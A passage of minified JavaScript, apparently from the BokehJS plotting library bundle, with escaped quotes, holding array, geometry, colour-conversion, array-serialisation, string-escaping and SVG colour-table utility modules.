t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return h(s(t))},n.intersection=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=[];t:for(var r=0,o=t;r<o.length;r++){var s=o[r];if(!c(n,s)){for(var a=0,l=e;a<l.length;a++){var h=l[a];if(!c(h,s))continue t}n.push(s)}}return n},n.difference=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=s(e);return t.filter(function(t){return!c(n,t)})},n.removeBy=function(t,e){for(var i=0;i<t.length;)e(t[i])?t.splice(i,1):i++},n.shuffle=function(t){for(var e=t.length,i=new Array(e),n=0;n<e;n++){var r=o.randomIn(0,n);r!==n&&(i[n]=i[r]),i[r]=t[n]}return i},n.pairwise=function(t,e){for(var i=t.length,n=new Array(i-1),r=0;r<i-1;r++)n[r]=e(t[r],t[r+1]);return n},n.reversed=function(t){for(var e=t.length,i=new Array(e),n=0;n<e;n++)i[e-n-1]=t[n];return i},n.repeat=function(t,e){for(var i=new Array(e),n=0;n<e;n++)i[n]=t;return i}},function(t,e,i){function n(t,e,i){for(var n=[],r=3;r<arguments.length;r++)n[r-3]=arguments[r];var o=t.length;e<0&&(e+=o),e<0?e=0:o<e&&(e=o),null==i||o-e<i?i=o-e:i<0&&(i=0);for(var s=o-i+n.length,a=new t.constructor(s),l=0;l<e;l++)a[l]=t[l];for(var h=0,u=n;h<u.length;h++){var c=u[h];a[l++]=c}for(var _=e+i;_<o;_++)a[l++]=t[_];return a}i.splice=n,i.insert=function(t,e,i){return n(t,i,0,e)},i.append=function(t,e){return n(t,t.length,0,e)},i.prepend=function(t,e){return n(t,0,0,e)},i.indexOf=function(t,e){for(var i=0,n=t.length;i<n;i++)if(t[i]===e)return i;return-1},i.map=function(t,e){for(var i=t.length,n=new t.constructor(i),r=0;r<i;r++)n[r]=e(t[r],r,t);return n},i.min=function(t){for(var e,i=1/0,n=0,r=t.length;n<r;n++)(e=t[n])<i&&(i=e);return i},i.minBy=function(t,e){if(0==t.length)throw new Error(\\\"minBy() called with an empty array\\\");for(var i=t[0],n=e(i),r=1,o=t.length;r<o;r++){var s=t[r],a=e(s);a<n&&(i=s,n=a)}return i},i.max=function(t){for(var e,i=-1/0,n=0,r=t.length;n<r;n++)e=t[n],i<e&&(i=e);return i},i.maxBy=function(t,e){if(0==t.length)throw new Error(\\\"maxBy() called with an empty array\\\");for(var i=t[0],n=e(i),r=1,o=t.length;r<o;r++){var s=t[r],a=e(s);n<a&&(i=s,n=a)}return i},i.sum=function(t){for(var e=0,i=0,n=t.length;i<n;i++)e+=t[i];return e}},function(t,e,i){var n=t(391),r=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(Error);i.AssertionError=r,i.assert=function(t,e){if(!(!0===t||!1!==t&&t()))throw new r(e||\\\"Assertion failed\\\")}},function(t,e,i){var n=Math.min,r=Math.max;i.empty=function(){return{minX:1/0,minY:1/0,maxX:-1/0,maxY:-1/0}},i.positive_x=function(){return{minX:Number.MIN_VALUE,minY:-1/0,maxX:1/0,maxY:1/0}},i.positive_y=function(){return{minX:-1/0,minY:Number.MIN_VALUE,maxX:1/0,maxY:1/0}},i.union=function(t,e){return{minX:n(t.minX,e.minX),maxX:r(t.maxX,e.maxX),minY:n(t.minY,e.minY),maxY:r(t.maxY,e.maxY)}};var o=function(){function e(t){if(\\\"x0\\\"in t&&\\\"y0\\\"in t&&\\\"x1\\\"in t&&\\\"y1\\\"in t){var e=t,i=e.x0,n=e.y0,r=e.x1,o=e.y1;if(!(i<=r&&n<=o))throw new Error(\\\"invalid bbox {x0: \\\"+i+\\\", y0: \\\"+n+\\\", x1: \\\"+r+\\\", y1: \\\"+o+\\\"}\\\");this.x0=i,this.y0=n,this.x1=r,this.y1=o}else{var s=t,a=s.x,l=s.y,h=s.width,u=s.height;if(!(0<=h&&0<=u))throw new Error(\\\"invalid bbox {x: \\\"+a+\\\", y: \\\"+l+\\\", width: \\\"+h+\\\", height: \\\"+u+\\\"}\\\");this.x0=a,this.y0=l,this.x1=a+h,this.y1=l+u}}return Object.defineProperty(e.prototype,\\\"minX\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"minY\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"maxX\\\",{get:function(){return this.x1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"maxY\\\",{get:function(){return this.y1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"left\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"top\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"right\\\",{get:function(){return this.x1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"bottom\\\",{get:function(){return this.y1},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"p0\\\",{get:function(){return[this.x0,this.y0]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"p1\\\",{get:function(){return[this.x1,this.y1]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"x\\\",{get:function(){return this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"y\\\",{get:function(){return this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"width\\\",{get:function(){return this.x1-this.x0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"height\\\",{get:function(){return this.y1-this.y0},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"rect\\\",{get:function(){return{x:this.x,y:this.y,width:this.width,height:this.height}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"h_range\\\",{get:function(){return{start:this.x0,end:this.x1}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"v_range\\\",{get:function(){return{start:this.y0,end:this.y1}},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"ranges\\\",{get:function(){return[this.h_range,this.v_range]},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\\\"aspect\\\",{get:function(){return this.width/this.height},enumerable:!0,configurable:!0}),e.prototype.contains=function(t,e){return t>=this.x0&&t<=this.x1&&e>=this.y0&&e<=this.y1},e.prototype.clip=function(t,e){return t<this.x0?t=this.x0:t>this.x1&&(t=this.x1),e<this.y0?e=this.y0:e>this.y1&&(e=this.y1),[t,e]},e.prototype.union=function(t){return new e({x0:n(this.x0,t.x0),y0:n(this.y0,t.y0),x1:r(this.x1,t.x1),y1:r(this.y1,t.y1)})},e}();i.BBox=o},function(t,e,i){i.delay=function(t,e){return setTimeout(t,e)};var n=\\\"function\\\"==typeof requestAnimationFrame?requestAnimationFrame:setImmediate;i.defer=function(t){return n(t)},i.throttle=function(i,n,r){void 0===r&&(r={});var o,s,a,l=null,h=0,u=function(){h=!1===r.leading?0:Date.now(),l=null,a=i.apply(o,s),l||(o=s=null)};return function(){var t=Date.now();h||!1!==r.leading||(h=t);var e=n-(t-h);return o=this,s=arguments,e<=0||n<e?(l&&(clearTimeout(l),l=null),h=t,a=i.apply(o,s),l||(o=s=null)):l||!1===r.trailing||(l=setTimeout(u,e)),a}},i.once=function(t){var e,i=!1;return function(){return i||(i=!0,e=t()),e}}},function(t,e,i){var n=t(287);i.SVGRenderingContext2D=n,i.fixup_ctx=function(t){var e,c,i,n,r;(e=t).setLineDash||(e.setLineDash=function(t){e.mozDash=t,e.webkitLineDash=t}),e.getLineDash||(e.getLineDash=function(){return e.mozDash}),(r=t).setLineDashOffset=function(t){r.lineDashOffset=t,r.mozDashOffset=t,r.webkitLineDashOffset=t},r.getLineDashOffset=function(){return r.mozDashOffset},(n=t).setImageSmoothingEnabled=function(t){n.imageSmoothingEnabled=t,n.mozImageSmoothingEnabled=t,n.oImageSmoothingEnabled=t,n.webkitImageSmoothingEnabled=t,n.msImageSmoothingEnabled=t},n.getImageSmoothingEnabled=function(){var t=n.imageSmoothingEnabled;return null==t||t},(i=t).measureText&&null==i.html5MeasureText&&(i.html5MeasureText=i.measureText,i.measureText=function(t){var e=i.html5MeasureText(t);return e.ascent=1.6*i.html5MeasureText(\\\"m\\\").width,e}),(c=t).ellipse||(c.ellipse=function(t,e,i,n,r,o,s,a){void 0===a&&(a=!1);var l=.551784;c.translate(t,e),c.rotate(r);var h=i,u=n;a&&(h=-i,u=-n),c.moveTo(-h,0),c.bezierCurveTo(-h,u*l,-h*l,u,0,u),c.bezierCurveTo(h*l,u,h,u*l,h,0),c.bezierCurveTo(h,-u*l,h*l,-u,0,-u),c.bezierCurveTo(-h*l,-u,-h,-u*l,-h,0),c.rotate(-r),c.translate(-t,-e)})},i.get_scale_ratio=function(t,e,i){if(\\\"svg\\\"==i)return 1;if(e){var n=window.devicePixelRatio||1,r=t.webkitBackingStorePixelRatio||t.mozBackingStorePixelRatio||t.msBackingStorePixelRatio||t.oBackingStorePixelRatio||t.backingStorePixelRatio||1;return n/r}return 1}},function(t,e,i){var n=t(39),r=t(21);function o(t){var e=Number(t).toString(16);return 1==e.length?\\\"0\\\"+e:e}function s(t){if(0==(t+=\\\"\\\").indexOf(\\\"#\\\"))return t;if(n.is_svg_color(t))return n.svg_colors[t];if(0==t.indexOf(\\\"rgb\\\")){var e=t.replace(/^rgba?\\\\(|\\\\s+|\\\\)$/g,\\\"\\\").split(\\\",\\\"),i=e.slice(0,3).map(o).join(\\\"\\\");return 4==e.length&&(i+=o(Math.floor(255*parseFloat(e[3])))),\\\"#\\\"+i.slice(0,8)}return t}i.color2hex=s,i.color2rgba=function(t,e){if(void 0===e&&(e=1),!t)return[0,0,0,0];var i=s(t);(i=i.replace(/ |#/g,\\\"\\\")).length<=4&&(i=i.replace(/(.)/g,\\\"$1$1\\\"));for(var n=i.match(/../g).map(function(t){return parseInt(t,16)/255});n.length<3;)n.push(0);return n.length<4&&n.push(e),n.slice(0,4)},i.valid_rgb=function(t){var e;switch(t.substring(0,4)){case\\\"rgba\\\":e={start:\\\"rgba(\\\",len:4,alpha:!0};break;case\\\"rgb(\\\":e={start:\\\"rgb(\\\",len:3,alpha:!1};break;default:return!1}if(new RegExp(\\\".*?(\\\\\\\\.).*(,)\\\").test(t))throw new Error(\\\"color expects integers for rgb in rgb/rgba tuple, received \\\"+t);var i=t.replace(e.start,\\\"\\\").replace(\\\")\\\",\\\"\\\").split(\\\",\\\").map(parseFloat);if(i.length!=e.len)throw new Error(\\\"color expects rgba \\\"+e.len+\\\"-tuple, received \\\"+t);if(e.alpha&&!(0<=i[3]&&i[3]<=1))throw new Error(\\\"color expects rgba 4-tuple to have alpha value between 0 and 1\\\");if(r.includes(i.slice(0,3).map(function(t){return 0<=t&&t<=255}),!1))throw new Error(\\\"color expects rgb to have value between 0 and 255\\\");return!0}},function(t,e,i){i.is_ie=0<=navigator.userAgent.indexOf(\\\"MSIE\\\")||0<navigator.userAgent.indexOf(\\\"Trident\\\")||0<navigator.userAgent.indexOf(\\\"Edge\\\"),i.is_little_endian=function(){var t=new ArrayBuffer(4),e=new Uint8Array(t),i=new Uint32Array(t);i[1]=168496141;var n=!0;return 10==e[4]&&11==e[5]&&12==e[6]&&13==e[7]&&(n=!1),n}()},function(t,e,i){var r=t(21),o=t(30),s=t(44),n=function(){function t(){this._dict={}}return t.prototype._existing=function(t){return t in this._dict?this._dict[t]:null},t.prototype.add_value=function(t,e){var i=this._existing(t);null==i?this._dict[t]=e:s.isArray(i)?i.push(e):this._dict[t]=[i,e]},t.prototype.remove_value=function(t,e){var i=this._existing(t);if(s.isArray(i)){var n=r.difference(i,[e]);0<n.length?this._dict[t]=n:delete this._dict[t]}else o.isEqual(i,e)&&delete this._dict[t]},t.prototype.get_one=function(t,e){var i=this._existing(t);if(s.isArray(i)){if(1===i.length)return i[0];throw new Error(e)}return i},t}();i.MultiDict=n;var a=function(){function o(t){if(null==t)this._values=[];else if(t instanceof o)this._values=r.copy(t._values);else{this._values=[];for(var e=0,i=t;e<i.length;e++){var n=i[e];this.add(n)}}}return Object.defineProperty(o.prototype,\\\"values\\\",{get:function(){return r.copy(this._values).sort()},enumerable:!0,configurable:!0}),o.prototype.toString=function(){return\\\"Set([\\\"+this.values.join(\\\",\\\")+\\\"])\\\"},Object.defineProperty(o.prototype,\\\"size\\\",{get:function(){return this._values.length},enumerable:!0,configurable:!0}),o.prototype.has=function(t){return-1!==this._values.indexOf(t)},o.prototype.add=function(t){this.has(t)||this._values.push(t)},o.prototype.remove=function(t){var e=this._values.indexOf(t);-1!==e&&this._values.splice(e,1)},o.prototype.toggle=function(t){var e=this._values.indexOf(t);-1===e?this._values.push(t):this._values.splice(e,1)},o.prototype.clear=function(){this._values=[]},o.prototype.union=function(t){return t=new o(t),new o(this._values.concat(t._values))},o.prototype.intersect=function(t){t=new o(t);for(var e=new o,i=0,n=t._values;i<n.length;i++){var r=n[i];this.has(r)&&t.has(r)&&e.add(r)}return e},o.prototype.diff=function(t){t=new o(t);for(var e=new o,i=0,n=this._values;i<n.length;i++){var r=n[i];t.has(r)||e.add(r)}return e},o.prototype.forEach=function(t,e){for(var i=0,n=this._values;i<n.length;i++){var r=n[i];t.call(e||this,r,r,this)}},o}();i.Set=a},function(t,e,i){var _=t(44),p=Object.prototype.toString;i.isEqual=function(t,e){return function t(e,i,n,r){if(e===i)return 0!==e||1/e==1/i;if(null==e||null==i)return e===i;var o=p.call(e);if(o!==p.call(i))return!1;switch(o){case\\\"[object RegExp]\\\":case\\\"[object String]\\\":return\\\"\\\"+e==\\\"\\\"+i;case\\\"[object Number]\\\":return+e!=+e?+i!=+i:0==+e?1/+e==1/i:+e==+i;case\\\"[object Date]\\\":case\\\"[object Boolean]\\\":return+e==+i}var s=\\\"[object Array]\\\"===o;if(!s){if(\\\"object\\\"!=typeof e||\\\"object\\\"!=typeof i)return!1;var a=e.constructor,l=i.constructor;if(a!==l&&!(_.isFunction(a)&&a instanceof a&&_.isFunction(l)&&l instanceof l)&&\\\"constructor\\\"in e&&\\\"constructor\\\"in i)return!1}r=r||[];for(var h=(n=n||[]).length;h--;)if(n[h]===e)return r[h]===i;if(n.push(e),r.push(i),s){if((h=e.length)!==i.length)return!1;for(;h--;)if(!t(e[h],i[h],n,r))return!1}else{var u=Object.keys(e),c=void 0;if(h=u.length,Object.keys(i).length!==h)return!1;for(;h--;)if(c=u[h],!i.hasOwnProperty(c)||!t(e[c],i[c],n,r))return!1}return n.pop(),r.pop(),!0}(t,e)}},function(t,e,i){function a(t){for(;t<0;)t+=2*Math.PI;for(;t>2*Math.PI;)t-=2*Math.PI;return t}function l(t,e){return Math.abs(a(t-e))}function o(){return Math.random()}i.angle_norm=a,i.angle_dist=l,i.angle_between=function(t,e,i,n){var r=a(t),o=l(e,i),s=l(e,r)<=o&&l(r,i)<=o;return 1==n?!s:s},i.random=o,i.randomIn=function(t,e){return null==e&&(e=t,t=0),t+Math.floor(Math.random()*(e-t+1))},i.atan2=function(t,e){return Math.atan2(e[1]-t[1],e[0]-t[0])},i.rnorm=function(t,e){for(var i,n;i=o(),n=(2*(n=o())-1)*Math.sqrt(1/Math.E*2),!(-4*i*i*Math.log(i)>=n*n););var r=n/i;return r=t+e*r},i.clamp=function(t,e,i){return i<t?i:t<e?e:t}},function(t,e,i){var n=t(391),h=t(21);function r(t,e){return n.__assign(t,e)}function o(t){return Object.keys(t).length}i.keys=Object.keys,i.values=function(t){for(var e=Object.keys(t),i=e.length,n=new Array(i),r=0;r<i;r++)n[r]=t[e[r]];return n},i.extend=r,i.clone=function(t){return r({},t)},i.merge=function(t,e){for(var i=Object.create(Object.prototype),n=h.concat([Object.keys(t),Object.keys(e)]),r=0,o=n;r<o.length;r++){var s=o[r],a=t.hasOwnProperty(s)?t[s]:[],l=e.hasOwnProperty(s)?e[s]:[];i[s]=h.union(a,l)}return i},i.size=o,i.isEmpty=function(t){return 0===o(t)}},function(t,e,h){var i=t(374),n=t(362),r=new n(\\\"GOOGLE\\\"),o=new n(\\\"WGS84\\\");h.wgs84_mercator=i(o,r);var s={lon:[-20026376.39,20026376.39],lat:[-20048966.1,20048966.1]},a={lon:[-180,180],lat:[-85.06,85.06]};function u(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=new Array(i),o=0;o<i;o++){var s=h.wgs84_mercator.forward([t[o],e[o]]),a=s[0],l=s[1];n[o]=a,r[o]=l}return[n,r]}h.clip_mercator=function(t,e,i){var n=s[i],r=n[0],o=n[1];return[Math.max(t,r),Math.min(e,o)]},h.in_bounds=function(t,e){return t>a[e][0]&&t<a[e][1]},h.project_xy=u,h.project_xsys=function(t,e){for(var i=Math.min(t.length,e.length),n=new Array(i),r=new Array(i),o=0;o<i;o++){var s=u(t[o],e[o]),a=s[0],l=s[1];n[o]=a,r[o]=l}return[n,r]}},function(t,e,i){var n=t(44);i.create_ref=function(t){var e={type:t.type,id:t.id};return null!=t._subtype&&(e.subtype=t._subtype),e},i.is_ref=function(t){if(n.isObject(t)){var e=Object.keys(t).sort();if(2==e.length)return\\\"id\\\"==e[0]&&\\\"type\\\"==e[1];if(3==e.length)return\\\"id\\\"==e[0]&&\\\"subtype\\\"==e[1]&&\\\"type\\\"==e[2]}return!1}},function(t,e,i){i.get_indices=function(t){var e=t.selected;return e[\\\"0d\\\"].glyph?e[\\\"0d\\\"].indices:0<e[\\\"1d\\\"].indices.length?e[\\\"1d\\\"].indices:0<e[\\\"2d\\\"].indices.length?e[\\\"2d\\\"].indices:[]}},function(t,e,u){var _=t(44),i=t(28);function c(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,2*t.length),i=0,n=e.length;i<n;i+=2){var r=e[i];e[i]=e[i+1],e[i+1]=r}}function p(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,4*t.length),i=0,n=e.length;i<n;i+=4){var r=e[i];e[i]=e[i+3],e[i+3]=r,r=e[i+1],e[i+1]=e[i+2],e[i+2]=r}}function d(t){for(var e=new Uint8Array(t.buffer,t.byteOffset,8*t.length),i=0,n=e.length;i<n;i+=8){var r=e[i];e[i]=e[i+7],e[i+7]=r,r=e[i+1],e[i+1]=e[i+6],e[i+6]=r,r=e[i+2],e[i+2]=e[i+5],e[i+5]=r,r=e[i+3],e[i+3]=e[i+4],e[i+4]=r}}function n(t,e){for(var i=t.order!==u.BYTE_ORDER,n=t.shape,r=null,o=0,s=e;o<s.length;o++){var a=s[o],l=JSON.parse(a[0]);if(l.id===t.__buffer__){r=a[1];break}}var h=new u.ARRAY_TYPES[t.dtype](r);return i&&(2===h.BYTES_PER_ELEMENT?c(h):4===h.BYTES_PER_ELEMENT?p(h):8===h.BYTES_PER_ELEMENT&&d(h)),[h,n]}function f(t,e){return _.isObject(t)&&\\\"__ndarray__\\\"in t?o(t):_.isObject(t)&&\\\"__buffer__\\\"in t?n(t,e):_.isArray(t)||_.isTypedArray(t)?[t,[]]:void 0}function s(t){var e=new Uint8Array(t),i=Array.from(e).map(function(t){return String.fromCharCode(t)});return btoa(i.join(\\\"\\\"))}function r(t){for(var e=atob(t),i=e.length,n=new Uint8Array(i),r=0,o=i;r<o;r++)n[r]=e.charCodeAt(r);return n.buffer}function o(t){var e=r(t.__ndarray__),i=t.dtype,n=t.shape;if(!(i in u.ARRAY_TYPES))throw new Error(\\\"unknown dtype: \\\"+i);return[new u.ARRAY_TYPES[i](e),n]}function a(t,e){var i,n=s(t.buffer),r=function(t){if(\\\"name\\\"in t.constructor)return t.constructor.name;switch(!0){case t instanceof Uint8Array:return\\\"Uint8Array\\\";case t instanceof Int8Array:return\\\"Int8Array\\\";case t instanceof Uint16Array:return\\\"Uint16Array\\\";case t instanceof Int16Array:return\\\"Int16Array\\\";case t instanceof Uint32Array:return\\\"Uint32Array\\\";case t instanceof Int32Array:return\\\"Int32Array\\\";case t instanceof Float32Array:return\\\"Float32Array\\\";case t instanceof Float64Array:return\\\"Float64Array\\\";default:throw new Error(\\\"unsupported typed array\\\")}}(t);if(!(r in u.DTYPES))throw new Error(\\\"unknown array type: \\\"+r);i=u.DTYPES[r];var o={__ndarray__:n,shape:e,dtype:i};return o}function v(t,e){if(0==t.length||!_.isObject(t[0])&&!_.isArray(t[0]))return[t,[]];for(var i=[],n=[],r=0,o=t;r<o.length;r++){var s=o[r],a=_.isArray(s)?v(s,e):f(s,e),l=a[0],h=a[1];i.push(l),n.push(h)}var u=n.map(function(t){return t.filter(function(t){return 0!=t.length})});return[i,u]}function l(t,e){for(var i=[],n=0,r=t.length;n<r;n++){var o=t[n];if(_.isTypedArray(o)){var s=e[n]?e[n]:void 0;i.push(a(o,s))}else _.isArray(o)?i.push(l(o,e?e[n]:[])):i.push(o)}return i}u.ARRAY_TYPES={uint8:Uint8Array,int8:Int8Array,uint16:Uint16Array,int16:Int16Array,uint32:Uint32Array,int32:Int32Array,float32:Float32Array,float64:Float64Array},u.DTYPES={Uint8Array:\\\"uint8\\\",Int8Array:\\\"int8\\\",Uint16Array:\\\"uint16\\\",Int16Array:\\\"int16\\\",Uint32Array:\\\"uint32\\\",Int32Array:\\\"int32\\\",Float32Array:\\\"float32\\\",Float64Array:\\\"float64\\\"},u.BYTE_ORDER=i.is_little_endian?\\\"little\\\":\\\"big\\\",u.swap16=c,u.swap32=p,u.swap64=d,u.process_buffer=n,u.process_array=f,u.arrayBufferToBase64=s,u.base64ToArrayBuffer=r,u.decode_base64=o,u.encode_base64=a,u.decode_column_data=function(t,e){void 0===e&&(e=[]);var i={},n={};for(var r in t){var o=t[r];if(_.isArray(o)){if(0==o.length||!_.isObject(o[0])&&!_.isArray(o[0])){i[r]=o;continue}var s=v(o,e),a=s[0],l=s[1];i[r]=a,n[r]=l}else{var h=f(o,e),u=h[0],c=h[1];i[r]=u,n[r]=c}}return[i,n]},u.encode_column_data=function(t,e){var i={};for(var n in t){var r=t[n],o=null!=e?e[n]:void 0,s=void 0;s=_.isTypedArray(r)?a(r,o):_.isArray(r)?l(r,o||[]):r,i[n]=s}return i}},function(t,e,i){var l=t(346),o=t(24),n=function(){function t(t){if(this.points=t,this.index=null,0<t.length){this.index=new l(t.length);for(var e=0,i=t;e<i.length;e++){var n=i[e],r=n.minX,o=n.minY,s=n.maxX,a=n.maxY;this.index.add(r,o,s,a)}this.index.finish()}}return Object.defineProperty(t.prototype,\\\"bbox\\\",{get:function(){if(null==this.index)return o.empty();var t=this.index,e=t.minX,i=t.minY,n=t.maxX,r=t.maxY;return{minX:e,minY:i,maxX:n,maxY:r}},enumerable:!0,configurable:!0}),t.prototype.search=function(t){var e=this;if(null==this.index)return[];var i=t.minX,n=t.minY,r=t.maxX,o=t.maxY,s=this.index.search(i,n,r,o);return s.map(function(t){return e.points[t]})},t.prototype.indices=function(t){return this.search(t).map(function(t){var e=t.i;return e})},t}();i.SpatialIndex=n},function(t,e,i){var n=t(18);function r(){for(var t=new Array(32),e=\\\"0123456789ABCDEF\\\",i=0;i<32;i++)t[i]=e.substr(Math.floor(16*Math.random()),1);return t[12]=\\\"4\\\",t[16]=e.substr(3&t[16].charCodeAt(0)|8,1),t.join(\\\"\\\")}i.startsWith=function(t,e,i){return void 0===i&&(i=0),t.substr(i,e.length)==e},i.uuid4=r;var o=1e3;i.uniqueId=function(t){var e=n.settings.dev?\\\"j\\\"+o++:r();return null!=t?t+\\\"-\\\"+e:e},i.escape=function(t){return t.replace(/(?:[&<>\\\"'`])/g,function(t){switch(t){case\\\"&\\\":return\\\"&amp;\\\";case\\\"<\\\":return\\\"&lt;\\\";case\\\">\\\":return\\\"&gt;\\\";case'\\\"':return\\\"&quot;\\\";case\\\"'\\\":return\\\"&#x27;\\\";case\\\"`\\\":return\\\"&#x60;\\\";default:return t}})},i.unescape=function(t){return t.replace(/&(amp|lt|gt|quot|#x27|#x60);/g,function(t,e){switch(e){case\\\"amp\\\":return\\\"&\\\";case\\\"lt\\\":return\\\"<\\\";case\\\"gt\\\":return\\\">\\\";case\\\"quot\\\":return'\\\"';case\\\"#x27\\\":return\\\"'\\\";case\\\"#x60\\\":return\\\"`\\\";default:return e}})},i.use_strict=function(t){return\\\"'use strict';\\\\n\\\"+t}},function(t,e,i){i.svg_colors={indianred:\\\"#CD5C5C\\\",lightcoral:\\\"#F08080\\\",salmon:\\\"#FA8072\\\",darksalmon:\\\"#E9967A\\\",lightsalmon:\\\"#FFA07A\\\",crimson:\\\"#DC143C\\\",red:\\\"#FF0000\\\",firebrick:\\\"#B22222\\\",darkred:\\\"#8B0000\\\",pink:\\\"#FFC0CB\\\",lightpink:\\\"#FFB6C1\\\",hotpink:\\\"#FF69B4\\\",deeppink:\\\"#FF1493\\\",mediumvioletred:\\\"#C71585\\\",palevioletred:\\\"#DB7093\\\",coral:\\\"#FF7F50\\\",tomato:\\\"#FF6347\\\",orangered:\\\"#FF4500\\\",darkorange:\\\"#FF8C00\\\",orange:\\\"#FFA500\\\",gold:\\\"#FFD700\\\",yellow:\\\"#FFFF00\\\",lightyellow:\\\"#FFFFE0\\\",lemonchiffon:\\\"#FFFACD\\\",lightgoldenrodyellow:\\\"#FAFAD2\\\",papayawhip:\\\"#FFEFD5\\\",moccasin:\\\"#FFE4B5\\\",peachpuff:\\\"#FFDAB9\\\",palegoldenrod:\\\"#EEE8AA\\\",khaki:\\\"#F0E68C\\\",darkkhaki:\\\"#BDB76B\\\",lavender:\\\"#E6E6FA\\\",thistle:\\\"#D8BFD8\\\",plum:\\\"#DDA0DD\\\",violet:\\\"#EE82EE\\\",orchid:\\\"#DA70D6\\\",fuchsia:\\\"#FF00FF\\\",magenta:\\\"#FF00FF\\\",mediumorchid:\\\"#BA55D3\\\",mediumpurple:\\\"#9370DB\\\",blueviolet:\\\"#8A2BE2\\\",darkviolet:\\\"#9400D3\\\",darkorchid:\\\"#9932CC\\\",darkmagenta:\\\"#8B008B\\\",purple:\\\"#800080\\\",indigo:\\\"#4B0082\\\",slateblue:\\\"#6A5ACD\\\",darkslateblue:\\\"#483D8B\\\",mediumslateblue:\\\"#7B68EE\\\",greenyellow:\\\"#ADFF2F\\\",chartreuse:\\\"#7FFF00\\\",lawngreen:\\\"#7CFC00\\\",lime:\\\"#00FF00\\\",limegreen:\\\"#32CD32\\\",palegreen:\\\"#98FB98\\\",lightgreen:\\\"#90EE90\\\",mediumspringgreen:\\\"#00FA9A\\\",springgreen:\\\"#00FF7F\\\",mediumseagreen:\\\"#3CB371\\\",seagreen:\\\"#2E8B57\\\",forestgreen:\\\"#228B22\\\",green:\\\"#008000\\\",darkgreen:\\\"#006400\\\",yellowgreen:\\\"#9ACD32\\\",olivedrab:\\\"#6B8E23\\\",olive:\\\"#808000\\\",darkolivegreen:\\\"#556B2F\\\",mediumaquamarine:\\\"#66CDAA\\\",darkseagreen:\\\"#8FBC8F\\\",lightseagreen:\\\"#20B2AA\\\",darkcyan:\\\"#008B8B\\\",teal:\\\"#008080\\\",aqua:\\\"#00FFFF\\\",cyan:\\\"#00FFFF\\\",lightcyan:\\\"#E0FFFF\\\",paleturquoise:\\\"#AFEEEE\\\",aquamarine:\\\"#7FFFD4\\\",turquoise:\\\"#40E0D0\\\",mediumturquoise:\\\"#48D1CC\\\",darkturquoise:\\\"#00CED1\\\",cadetblue:\\\"#5F9EA0\\\",steelblue:\\\"#4682B4\\\",lightsteelblue:\\\"#B0C4DE\\\",powderblue:\\\"#B0E0E6\\\",lightblue:\\\"#ADD8E6\\\",skyblue:\\\"#87CEEB\\\",lightskyblue:\\\"#87CEFA\\\",deepskyblue:\\\"#00BFFF\\\",dodgerblue:\\\"#1E90FF\\\",cornflowerblue:\\\"#6495ED\\\",royalblue:\\\"#4169E1\\\",blue:\\\"#0000FF\\\",mediumblue:\\\"#0000CD\\\",darkblue:\\\"#00008B\\\",navy:\\\"#000080\\\",midnightblue:\\\"#191970\\\",cornsilk:\\\"#FFF8DC\\\",blanchedalmond:\\\"#FFEBCD\\\",bisque:\\\"#FFE4C4\\\",navajowhite:\\\"#FFDEAD\\\",wheat:\\\"#F5DEB3\\\",burlywood:\\\"#DEB887\\\",tan:\\\"#D2B48C\\\",rosybrown:\\\"#BC8F8F\\\",sandybrown:\\\"#F4A460\\\",goldenrod:\\\"#DAA520\\\",darkgoldenrod:\\\"#B8860B\\\",peru:\\\"#CD853F\\\",chocolate:\\\"#D2691E\\\",saddlebrown:\\\"#8B4513\\\",sienna:\\\"#A0522D\\\",brown:\\\"#A52A2A\\\",maroon:\\\"#800000\\\",white:\\\"#FFFFFF\\\",snow:\\\"#FFFAFA\\\",honeydew:\\\"#F0FFF0\\\",mintcream:\\\"#F5FFFA\\\",azure:\\\"#F0FFFF\\\",aliceblue:\\\"#F0F8FF\\\",ghostwhite:\\\"#F8F8FF\\\",whitesmoke:\\\"#F5F5F5\\\",seashell:\\\"#FFF5EE\\\",beige:\\\"#F5F5DC\\\",oldlace:\\\"#FDF5E6\\\",floralwhite:\\\"#FFFAF0\\\",ivory:\\\"#FFFFF0\\\",antiquewhite:\\\"#FAEBD7\\\",linen:\\\"#FAF0E6\\\",lavenderblush:\\\"#FFF0F5\\\",mistyrose:\\\"#FFE4E1\\\",gainsboro:\\\"#DCDCDC\\\",lightgray:\\\"#D3D3D3\\\",lightgrey:\\\"#D3D3D3\\\",silver:\\\"#C0C0C0\\\",darkgray:\\\"#A9A9A9\\\",darkgrey:\\\"#A9A9A9\\\",gray:\\\"#808080\\\",grey:\\\"#808080\\\",dimgray:\\\"#696969\\\",dimgrey:\\\"#696969\\\",lightslategray:\\\"#778899\\\",lightslategrey:\\\"#778899\\\",slategray:\\\"#708090\\\",slategrey:\\\"#708090\\\",darkslategray:\\\"#2F4F4F\\\",darkslategrey:\\\